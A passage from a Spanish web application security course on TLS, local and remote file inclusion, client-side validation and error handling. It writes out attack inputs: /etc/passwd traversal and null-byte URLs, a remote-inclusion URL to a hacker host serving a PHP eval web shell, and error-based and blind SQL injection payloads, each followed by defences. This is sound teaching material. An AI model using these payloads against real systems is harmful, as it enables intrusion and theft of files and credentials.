Se debe evitar que las páginas de la aplicación incluyan elementos que el navegador obtiene por HTTP junto con los que obtiene por HTTPS. Una razón para querer hacer esto es que HTTPS consume recursos de parte del servidor y trata de minimizarse la carga en sitios de alto tráfico. Sin embargo, esto va a producir una serie de alertas en el navegador del usuario que al final lo llevarán a ignorar no sólo estas alertas, sino potencialmente otras relacionadas con la aplicación.

Para evitar que las *cookies* se envíen en elementos no seguros, existe un *flag* denominado *secure*. Es indispensable que todas las *cookies* relacionadas con la identificación del usuario y la autorización de su acceso a recursos hagan uso de esta característica.

Las implementaciones de SSL/TLS pueden variar si se utilizan distintos protocolos o diferentes versiones de los protocolos. Lo primero que hace un navegador cuando se conecta a una aplicación HTTPS es negociar las claves con las que se cifrará el tráfico en la capa de transporte. Debemos configurar nuestros servidores para permitir sólo algoritmos conocidos seguros y sin vulnerabilidades. Esto puede causar problemas de compatibilidad con algunos navegadores.

Los certificados utilizados tienen que ser válidos y emitidos por una entidad certificadora con una cadena de confianza que la una a aquellas instaladas en el navegador del usuario. Además, deben estar no revocados, no caducados, etc. El incumplimiento de cualquiera de estas condiciones hará que el usuario obtenga alertas de seguridad que será incapaz de diferenciar de las alertas que le aparecerían si estuviera recibiendo un certificado falso. Además, todas estas alertas son parecidas si no se lee el texto con detalle, algo que los usuarios no suelen hacer.

Por último, es importante señalar que las comunicaciones deben ir encriptadas de extremo a extremo. Si nuestra aplicación tiene un *frontend* que se comunica con uno o varios *backends*, generalmente es buena idea que el tráfico, aunque se produzca en nuestra red, también vaya encriptado.

El uso de encriptación en las comunicaciones tiene como inconveniente el hecho de que se elimina la posibilidad de instalar tecnologías IDS/IPS que analicen el tráfico en la capa de aplicación en tiempo real, para detectar y detener ataques. Algunas soluciones integran en una misma aplicación el servidor de cara al usuario, con el que se produjo el intercambio de certificados, junto con los IDS/IPS, y después redirigen el tráfico a la aplicación.

Se sabe muy bien que el punto débil de las implementaciones de seguridad basadas en TKIP, como la que hay detrás de HTTPS, es que se basan en la confianza, en este caso en las entidades emisoras de los certificados. Puestos a ba-

sar la seguridad en la confianza, encontramos implementaciones interesantes de protocolos de transporte que piden al usuario precisamente esta confianza para funcionar.

Opera Mini, un navegador para móviles muy conocido por su velocidad, implementa su propio protocolo binario de comunicaciones, de modo que el teléfono móvil del usuario se comunica mediante este protocolo binario con los servidores de Opera, que a su vez se comunican mediante HTTP con la web en concreto que se esté visitando. Cuando se trata de HTTPS, Opera advierte que el tráfico va cifrado entre el móvil y sus servidores gracias a su protocolo binario, y que también va cifrado entre sus servidores y la web final mediante el certificado que esta web tenga. Sin embargo, hay un punto en la comunicación, que son los propios servidores de Opera, donde este tráfico es accesible en claro, y Opera advierte de esto a sus usuarios y les invita a no usar su navegador si no están de acuerdo con este sistema.

10. Prevención de vulnerabilidades LFI y RFI

LFI son las siglas de *Local File Inclusion*, traducido como 'inclusión de ficheros locales', y es una vulnerabilidad que tiene su raíz en la falta de validación a la hora de crear referencias en el servidor a otros *scripts*. Resulta muy habitual que parte del código de una aplicación se utilice en más de un sitio, de manera que en lugar de repetirlo se modulariza en forma de función y es llamado desde donde quiera ser ejecutado. En lenguajes de *scripting* como PHP, ni siquiera tiene que ser una función, sino que se puede sacar un trozo común de código que queremos ejecutar en varias páginas y después referenciarlo desde el sitio en la página donde queramos hacer algo con su salida. De este modo, por ejemplo, si tuviéramos un sitio con una cabecera, un cuerpo y un pie de página, donde el cuerpo varía entre página y página del sitio, pero la cabecera y el pie se mantienen constantes, el código PHP sería algo así:

```
<?php
include('cabecera.php');
//aquí va el código del cuerpo de esta pagina
include('pie.php');
?>
```

El problema llega cuando estas rutas se construyen de manera dinámica, usando variables no verificadas a las que el usuario ha podido tener acceso, de modo que el usuario puede alterar el nombre del fichero que se está incluyendo. Observad además que en este caso no se aplican las restricciones de acceso a ficheros establecidas en el servidor web. Es decir, podemos acceder a ficheros en el disco duro fuera del *documentRoot* ('raíz de documentos del servidor web'), sólo restringidos por los permisos de lectura que tenga el usuario con el que corre el servidor y por algunas directivas de seguridad establecidas por cada lenguaje (en el caso de PHP, "open_basedir" e "include_path"). Además, en el caso de PHP, un fichero puede incluir código PHP entre las marcas "*<?php*" y "*?>*", y el resto del fichero se interpreta como texto, como si fuera algún tipo de *markup* HTML, y se sirve tal cual. Esto quiere decir que el contenido será perfectamente visible en el navegador desde el que se haga esta inclusión de fichero local.

Si le damos la vuelta al ejemplo anterior, en vez de tener una gran cantidad de ficheros que incluyen una cabecera y un pie, podemos tener un fichero de plantilla, o máster, que recibe por parámetro el nombre del fichero que se encargará de procesar los contenidos. Se trataría de algo así:

```
<?php
//código de la cabecera, renderiza <html><head>,... menús, comprueba autorización,....
include($_GET['contenido']);
```

```
//código del pie de página, cierra el <html>
?>
```

La navegación en el ejemplo anterior tendría URL del tipo siguiente:

```
http://www.servidor.com/plantilla.php?contenido=contenidos/seccion1.php
```

Por supuesto, nada impide hacer una petición al servidor de esta otra forma:

```
http://www.servidor.com/plantilla.php?contenido=/etc/passwd
```

Algunos programadores intentan evitarlo forzando al menos que el tipo de fichero que hay que incluir sea el esperado. Por ejemplo, en el caso que estamos estudiando, se trataría de un *script* PHP, de modo que la plantilla contendría una instrucción como la siguiente.

```
include($_GET['contenido'] . '.php');
```

Con intención de ser llamado como:

```
http://www.servidor.com/plantilla.php?contenido=contenidos/seccion1
```

Donde el código es el que añade la extensión El intento anterior hubiera dado como resultado el acceso al fichero "/etc/passwd.php", que no existe.

Sin embargo este esquema de protección no es válido, y esto se debe a la diferente interpretación que los distintos sistemas hacen de algunos caracteres. En este caso, el carácter interesante es el *byte* nulo. Para hacer una petición al servidor que incluya el *byte* nulo, el atacante debe codificarlo de manera que sea válido en una URL, lo que equivale a %00. De este modo, la URL quedaría así:

```
http://www.servidor.com/plantilla.php?contenido=/etc/passwd%00
```

Al ser interpretado por el script PHP, se añade la extensión .php a la ruta y se va a intentar pedir al sistema de ficheros el recurso "/etc/passwd%00.php". Sin embargo, una vez llegados a este punto, el *byte* nulo va a actuar como indicador del final de la cadena, y se llevará a cabo el acceso a "/etc/passwd" con el efecto deseado para el atacante, que conseguirá el acceso al recurso protegido.

Otro intento frecuente consiste en prefijar la ruta con el directorio donde se encuentran los contenidos que hay que incluir:

```
include('contenidos/' . $_GET['contenido']);
```

Con URL:

```
http://www.servidor.com/plantilla.php?contenido=seccion1.php
```

Sin embargo tampoco es válido, ya que si proporciona una ruta relativa, el atacante puede salir del directorio donde se supone que está y acceder a cualquier otra ruta del disco:

```
http://www.servidor.com/plantilla.php?contenido=../../../etc/passwd
```

Donde el *script* que estaba intentando acceder a "/var/www/contenidos/" retrocede hasta la raíz "(/)" con "../../../" y accede al deseado "/etc/passwd".

Este tipo de vulnerabilidad puede llegar a permitir la ejecución de código cargada desde un servidor remoto, en función de cómo estén configurados las opciones de seguridad y el acceso a recursos externos. En el primer ejemplo vulnerable, el atacante podría intentar:

```
http://www.servidor.com/plantilla.php?contenido=http://www.hacker.com/eval.inc&command=
passthru(%22cat%20/etc/passwd%22);
```

Donde "http://www.hacker.com/" aloja un fichero eval.inc con un código tan sencillo como:

```
<?php eval($_GET["command"]);?>
```

que evalúa como código PHP lo que llegue en el parámetro "command". Lo que es importante entender aquí es que el código no se ejecuta en el servidor "http://www.hacker.com", es decir, las extensiones .inc no se evalúan como código PHP en este servidor, y se sirven como texto. Sin embargo, en "http://www.servidor.com" sí se interpretarán como PHP, al estar invocadas por una instrucción "include" en el *script*.

Este tipo de vulnerabilidades pueden presentarse de manera menos obvia, sin que sea necesario que un parámetro venga con la ruta que hay que invocar. Supongamos una aplicación con la estructura siguiente.

- Un fichero "constantes.php" que define, entre otros aspectos, rutas que van a ser utilizadas desde más de un sitio de la aplicación.

- Un fichero genérico de funciones llamado "/util/funciones.php".

- Un fichero específico de funciones especializadas en tratamiento de ficheros en "/util/funcionesFicheros.php".

El fichero de constantes tendrá en su contenido:

```
<?php
...
```

```
$utilPath = '/var/www/util/';
...
?>
```

Y los *scripts* de la aplicación podrían empezar con algo como:

```
<?php
include('constantes.php');
include($utilPath . 'funciones.php');
...
?>
```

El fichero "funciones.php" no está escrito para ser invocado directamente desde la URL, sino para incluirlo en otros *scripts*. Si sabemos que todos los *scripts* empiezan con la inclusión del fichero de constantes, el programador asume que en "funciones.php" la variable "$utilPath" estará definida, y la utiliza para incluir el segundo fichero de funciones especializadas en manejo de ficheros. De este modo, "funciones.php" empezaría con:

```
<?php
include($utilPath . 'funcionesFicheros.php');
...
?>
```

Por supuesto, si el fichero "funciones.php" está dentro de la raíz de documentos a los que puede acceder el servidor web, el atacante puede acceder al mismo directamente:

```
http://www.servidor.com/util/funciones.php
```

Que producirá un error al intentar acceder a la variable no definida "$utilPath". Este error, por cierto, puede dar información al atacante sobre las rutas y los nombres de ficheros que la aplicación maneja, algo que a estas alturas ya debería quedar claro que supone un riesgo. Sin embargo, esto lo veremos en otro apartado.

En el caso concreto de PHP, encontramos una opción denominada *register globals*. Cuando esta función está activada, permite a los programadores acceder fácilmente a variables por su nombre, sin tener que explicitar de dónde vienen. De esta manera, un acceso a "$x" es equivalente tanto a "$_GET['x']" como a "$_POST['x']" u otras. Puesto que PHP no obliga al programador a declarar variables antes de usarlas, un atacante puede utilizar estas dos condiciones en su favor y explotar el ejemplo anterior con una llamada como:

```
http://www.servidor.com/util/funciones.php?utilPath=http://www.hacker.com
```

y alojar en su servidor un fichero llamado "funcionesFicheros.php". De nuevo, tenemos que insistir en que este fichero debe ser interpretado como texto en el servidor del atacante, y no como PHP. Es importante que el código PHP sea el que llegue al *script* atacado, y que sólo entonces se interprete como tal al ser procesado por la instrucción *include*.

Hemos invertido cierto tiempo en explicar el funcionamiento de este ataque para ver las consecuencias de la explotación de esta vulnerabilidad y un par de intentos vanos de corregirlas con soluciones a medias.

Además de una correcta configuración del servidor, que dependerá de la tecnología utilizada, la manera correcta de protegerse para evitar cosas como *register globals* o el acceso a *scripts* remotos en las funciones de inclusión de código es mediante código robusto que se asegure de que el recurso accedido cumple las restricciones de acceso que se le quieren imponer. Esto se consigue mediante la normalización, en este caso de la ruta que hay que incluir. El ejemplo inicial en PHP quedaría:

```
$filepath = 'contenidos/' . $_GET['contenido'] . '.php';
if(!preg_match('/\/contenidos\/(.*)\.php$/', realpath($filepath))) {
   die("Error de acceso. Contenido no disponible");
                }
include($filepath);
```

Donde "realpath" devuelve la ruta real en el sistema de ficheros después de resolver las referencias relativas, y "preg_match" es una comprobación de que esta ruta cumple la expresión regular especificada.

11. Seguridad en el navegador

Para que no quede ningún lugar a dudas, vamos a empezar este apartado por el final, por la protección.

Ningún aspecto de la seguridad de nuestra aplicación debe estar en el lado cliente, en nuestro caso representado por el navegador web. Cualquier tipo de filtrado, codificación, ofuscamiento, encriptación, validación, etc. es nulo en el navegador.

Se pueden programar ciertas validaciones en Javascript, Action Script, etc. con el objeto de proporcionar una interfaz más amigable al usuario, que sin tener que esperar a que la petición vaya y vuelva del servidor, puede corregir los errores que haya cometido. Sin embargo, si se decide hacer esto, es importante tener en cuenta que la verdadera validación, la que cuenta, es la que se haga en el lado del servidor.

Supongamos que un programador, consciente del peligro que suponen las vulnerabilidades de *SQL Injection*, quiere filtrar su formulario de acceso y lo hace con el código Javascript siguiente:

```
<script type="text/javascript" language="javascript">
   function validate(){
      var user = document.getElementById('user').value;
      var pass = document.getElementById('pass').value;
      if(user==""||pass==""||user.indexOf('\'')!=-1||pass.indexOf('\'')!=-1) {
            alert("Parámetros incorrectos");
            return false;
         } else {
         document.loginForm.submit();
      }
   }
</script>
```

De modo que si los campos para el usuario y la contraseña están o bien vacíos o contienen una comilla simple ('), se presenta un mensaje de error y el formulario no se envía.

El problema es que esto ocurre en el navegador, y la petición HTTP, ya sea "GET" o "POST", puede ser interceptada y modificada después de la ejecución de este código de validación. Hoy día es extremadamente fácil hacer esto. *Plug-*

ins para los navegadores, como Tamper-Data para Firefox, o programas independientes como WebScarab proporcionan una interfaz gráfica fácil de usar para llevar a cabo estas intercepciones.

Debe recalcarse el hecho de que es indiferente que la petición sea "GET" o "POST", ya que es un error común entre los programadores pensar que sólo los parámetros "GET" son vulnerables o accesibles porque son visibles en la URL; la realidad es que la forma de acceso tanto a unos como a otros presenta la misma dificultad y los dos son igualmente manipulables.

Hay aplicaciones que utilizan algoritmos de cifrado en Javascript para llevar a cabo determinadas acciones, pero es trivial seguir la ejecución del código en el navegador, ya que se dispone de este código, así como reproducir los mismos algoritmos y, en muchas ocasiones, invertirlos.

Tampoco suele funcionar intentar ofuscar el código, lo que puede hacerse de dos maneras. La primera, modificar el código Javascript antes de servirlo, de modo que los nombres de variables y funciones no tengan sentido alguno para un humano si los lee. Y la segunda, modificar la estructura del código para eliminar en lo posible espacios en blanco, tabuladores, saltos de línea, etc., con intención de complicar el trabajo de alguien que intente averiguar qué hace este código.

Sin embargo, al fin y al cabo, al final el código se tiene que poder ejecutar, y por tanto tiene sentido escrito tal y como está, lo cual quiere decir que si tiene sentido, se le puede encontrar. En ningún caso va a ser más difícil que leer ensamblador –y esto puede hacerse–, con lo que este tipo de ofuscación no es más que una cuestión de tiempo antes de que quede anulado.

Un segundo tipo de ofuscación consiste en convertir o codificar el código en algo ilegible y sin interpretación algorítmica Una vez el código se ha cargado en el cliente, se utiliza una función inversa para devolver el código a su estado legible e interpretarlo mediante alguna función como *eval* en Javascript o similar. El problema es que esta función de inversión del código se encuentra en el cliente, y por lo tanto puede ser utilizada por el atacante para conseguir el mismo propósito, con lo que tampoco es una buena solución.

Hay aplicaciones que cargan *applets* en el navegador y basan su seguridad en que el código fuente no está disponible, de modo que es normal encontrar elementos como credenciales en los códigos fuente de *applets* de Java y similares. Sin embargo, la asunción de que el código fuente no está disponible es incorrecta. No está disponible en "Ver código fuente" en el navegador, pero las tecnologías de *applets* como Java se basan en *bytecodes* fácilmente reversibles, para los que hoy día hay muchos recursos en Internet o aplicaciones que a partir de un *applet* permiten obtener su código fuente.

Las aplicaciones en Flash que manejan algún tipo de lógica de autenticación o autorización tienen el fracaso casi garantizado. Por ejemplo, un desensamblado similar al de los *applets*, que permite obtener su código fuente hasta funciones en las que el programador no pensó cuando programaba su interfaz de acceso en Flash, como "botón derecho > avanzar al *frame* siguiente". Otro caso común es un formulario en Flash que pide usuario y contraseña, los envía al servidor y este responde con "verdadero/falso" dependiendo de que las credenciales sean o no correctas. Igual que vimos que las peticiones pueden ser interceptadas antes de llegar al servidor, también las respuestas pueden interceptarse antes de volver al navegador, y un "falso" puede convertirse fácilmente en un "verdadero".

Muchos juegos Flash mantienen tablas de puntuaciones máximas en los servidores desde los que se sirven, y el funcionamiento suele ser tan sencillo como que al terminar la partida, la película Flash hace una petición asíncrona al servidor con los datos del jugador y la puntuación obtenida. Esta petición, obviamente, se puede interceptar y manipular.

De modo que no se hace así. Ningún aspecto de la seguridad de nuestra aplicación debe estar en el cliente, y todo lo que el cliente pueda manipular debe considerarse tan malicioso como un parámetro "GET". *Cookies*, cabeceras HTTP, etc. Absolutamente todo.

12. Manejo incorrecto de errores

Uno de los recursos más potentes con los que cuenta un atacante es el acceso a la información de error que generan las aplicaciones. Normalmente no sólo las aplicaciones, sino también las librerías y los *frameworks*, tratan cuando se genera un error de de dar tanta información como sea posible para localizarlo, así como su causa. Sin embargo, esta información no es extremadamente útil para los programadores y administradores de sistemas en los que corren las aplicaciones, sino que lo es también para los atacantes. Como se ha visto en muchas de las secciones anteriores, para construir un ataque muchas veces es necesario conocer cierta información del entorno, como la estructura de la base de datos, las rutas en el servidor, las versiones del *software* utilizado, etc.

Tomemos el ejemplo del apartado sobre LFI y RFI en el que el *script* "funciones.php" recibe un parámetro "includePath" y construye un *path* con el mismo para incluir el *script* "funcionesFicheros.php":

```
<?php
include($includePath . "funcionesFicheros.inc");
```

Si pasamos como parámetro algo que resulte en una ruta incorrecta, el servidor nos devolverá un mensaje de error:

```
http://servidor/includes/funciones.php?includePath=.

Warning: main(.funcionesFicheros.inc) [function.main]: failed to open stream: No such
file or directory in /var/www/website/includes/funciones.php on line 2

Warning: main() [function.include]: Failed opening '.funcionesFicheros.inc' for
inclusion (include_path='.:') in /var/www/website/includes/funciones.php on line 2
```

Los mensajes de error obtenidos ofrecen información valiosa. Por una parte, se informa de que existe un fichero llamado "funcionesFicheros.php", lo cual puede utilizarse en el futuro para obtener su código fuente, como hemos visto anteriormente. Además, el texto del error también proporciona la ruta física en el servidor a la ubicación de estos ficheros, lo que es necesario para explotar algunas de las vulnerabilidades que ya hemos tratado, como RFI, o para crear ficheros desde los motores de base de datos accesibles por el servidor web.

Nuestro ejemplo favorito de lo peligrosa que puede ser la información obtenida gracias a los errores es una publicación del 2001 de Chris Anley, titulada "Advanced SQL Injection in SQL Server Applications". Veamos, aplicando lo que Chris explica en nuestro ejemplo previo, cómo gracias a la información que proporcionan los errores podemos extraer información sobre el esquema

de una base de datos y finalmente su contenido, así como más información valiosa sobre la plataforma en la que corre la aplicación. Uno de los ejemplos en el apartado sobre *SQL Injection* utilizaba la consulta siguiente:

```
var sql = "select * from usuarios where user = '" + user + "' and
password = '" + password + "'";
```

Si en el campo usuario introducimos "' having 1=1--", el resultado es un error en la consulta SQL que la aplicación nos devuelve así:

```
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'usuarios.id' is invalid
in the select list because it is not contained in an aggregate function and
there is no GROUP BY clause.
```

Con lo que el atacante ya sabe que el nombre de la tabla es "usuarios" y que existe una columna llamada "id", y puede seguir extrayendo información. Ahora "usuario" será "' group by usuarios.id having 1=1--":

```
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'usuarios.user' is invalid
in the select list because it iaggregate function or the GROUP BY clause.
```

Lo que proporciona el segundo campo de la consulta, una columna llamada "user". Extendiendo el procedimiento con "' group by usuarios.id, usuarios.user having 1=1--", el error informará de un campo llamado "usuarios.password", con lo que el atacante genera una última entrada "' group by usuarios.id, usuarios.user, usuarios.password having 1=1--", que no produce ningún error. De esta manera, el atacante se ha hecho con el nombre de la tabla y las columnas utilizadas en la consulta a la base de datos. Con otra clase de error puede obtener los tipos de datos de estas columnas. En el campo "user" introducimos "' union select sum(user) from usuarios--", lo que genera un error como el siguiente:

```
[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation
cannot take a varchar data type as an argument.
```

Esto informa al atacante de que el tipo de datos de la columna "user" es "varchar", y de la misma manera obtendrá el tipo del resto de las columnas. En el apartado sobre *SQL Injection* vimos que creando cláusulas "UNION" podíamos obtener los contenidos de la base de datos. Para esto, necesitamos crear una consulta en la que a ambos lados de "UNION" se consulte el mismo número de campos y estos sean del mismo tipo. A veces podemos utilizar estas restricciones para extraer esta información a partir de los mensajes de error. Introduzcamos en "user", por ejemplo, "' union @@version, 1,1'--". La consulta quedaría así:

Ved también

Podéis ver el apartado 1 sobre *SQL Injection*.

```
var sql = "select id,user,password from usuarios where user = '' union
```

```
@@version,1,1'--' and password = '" + password + "'";
```

Y al intentar convertir la variable "@@version", que es un texto, al tipo de datos del campo correspondiente al otro lado de "UNION", "id", se producirá un error:

```
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar
value 'Microsoft SQL Server 2000 - 8.00.194 (Intel X86) Aug 6 2000 00:57:48
Copyright (c) 1988-2000 Microsoft Corporation Enterprise Edition on Windows NT 5.0
(Build 2195: Service Pack 2) ' to a column of data type int.
```

Que informa al atacante con detalle del *software* y la versión que utiliza la aplicación, lo que ahora puede usar para buscar vulnerabilidades y *exploits* publicados para este *software*, por ejemplo, o para saber qué funciones o procedimientos almacenados puede utilizar en esta versión para sus ataques, e incluso la arquitectura del procesador si quiere lanzar un ataque de escalada de privilegios, como veremos en próximos apartados.

Igualmente, puede extraer los datos de la base de datos si le interesa. De manera similar, la entrada "' union select min(user),1,1 from usuarios" va a intentar convertir el primer nombre de usuario que encuentre en un entero, lo cual producirá un error:

```
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar
value 'admin' to a column of data type int.
```

12.1. Obtención de información a ciegas

En los apartados dedicados a las inyecciones hemos visto cómo, gracias a lo que denominamos *ataques a ciegas*, una lógica booleana en la aplicación nos va dando respuestas verdaderas o falsas que nos permiten obtener la información como si la aplicación nos la mostrara por pantalla. El correcto manejo de errores es crucial para evitar este tipo de ataques, ya que a veces los comportamientos de verdadero o falso se determinan según se pueda o no provocar un error.

Por ejemplo, si tenemos una aplicación que recibe la petición siguiente:

```
http://servidor/articulo.php?id=10
```

que se convierte en la siguiente consulta a la base de datos:

```
SELECT titulo,fecha,texto FROM articulos WHERE id=$id
```

Al esperar un solo resultado no es necesario iterar por el recordset, y es relativamente frecuente que el programador trate de imprimir en la web los datos que vienen de la base de datos, sin verificar primero si efectivamente la con-

sulta ha devuelto al menos un registro. Si la entrada no estaba filtrada y se produce un error, no importa si el texto del error es presentado por la pantalla al atacante, o si se le muestra un mensaje inofensivo que informa de una situación anormal: es todo lo que el atacante necesita para llevar a cabo su inyección a ciegas.

Podemos crear una llamada como esta:

```
http://servidor/articulo.php?id=10 AND (SELECT count(user) FROM usuarios
WHERE substr(user,1,1)>'a')#
```

Y la consulta queda de la manera siguiente:

```
SELECT titulo,fecha,texto FROM articulos WHERE id=10 AND (SELECT count(user) FROM usuarios
WHERE substr(user,1,1)>'a')#
```

Si hay un registro en la tabla "usuarios" cuyo primer carácter de la columna "user" es mayor que "a", la condición anterior evaluará a verdadero y la consulta devolverá los datos relativos al artículo cuyo identificador es 10. Si por el contrario no existe tal registro en la tabla, la condición evaluará a falso, la consulta no devolverá ningún registro y la aplicación producirá un error al tratar de acceder a la información devuelta por la consulta. El atacante ya tiene su comportamiento verdadero/falso y puede proceder como vimos en el apartado de las inyecciones SQL a ciegas.

12.2. Protección

Las opciones de *debugging* y muestra de errores por pantalla deben quedarse en el entorno de desarrollo. Desgraciadamente, la configuración por defecto de muchos de los entornos comunes tiene estas opciones activadas, así que es esencial que los administradores de sistemas deshabiliten la presentación de errores y avisos por pantalla, y configuren los sistemas de modo que la información de error sólo acabe en los registros (*logs*), donde puede ser consultada y compartida con los desarrolladores para analizar los problemas. Internet Information Server, PHP y todos los contenedores de aplicaciones más populares de J2EE incluyen diferentes opciones para controlar cuánta información se da de los errores y dónde se presenta esta información.

Todo el equipo de desarrollo debe ser consciente del peligro potencial que supone esta fuga de información, y por lo tanto las políticas y las guías de desarrollo deben prohibir que se presenten mensajes de control de la aplicación por pantalla. Si el programa produce una excepción y el programador la captura y muestra un mensaje informativo por pantalla con detalles de por qué se ha producido una excepción, el efecto es casi el mismo. Conviene proveer al equipo de librerías, propias o de terceros, que aseguren una consistencia en el tratamiento e informen de errores y excepciones.

Se ha de prestar atención a los errores potenciales que cualquiera de los componentes o las capas de la aplicación puedan provocar, y todos deben ser tratados de la misma manera.

Si se van a programar páginas de error personalizadas, estas no deben mostrar información detallada en producción. Además, la programación de estas páginas suele ser uno de los puntos débiles de muchas aplicaciones, ya que en muchas ocasiones no filtran de manera adecuada la información con la que generan los mensajes de error y dan lugar a innumerables errores de *cross site scripting* y similares.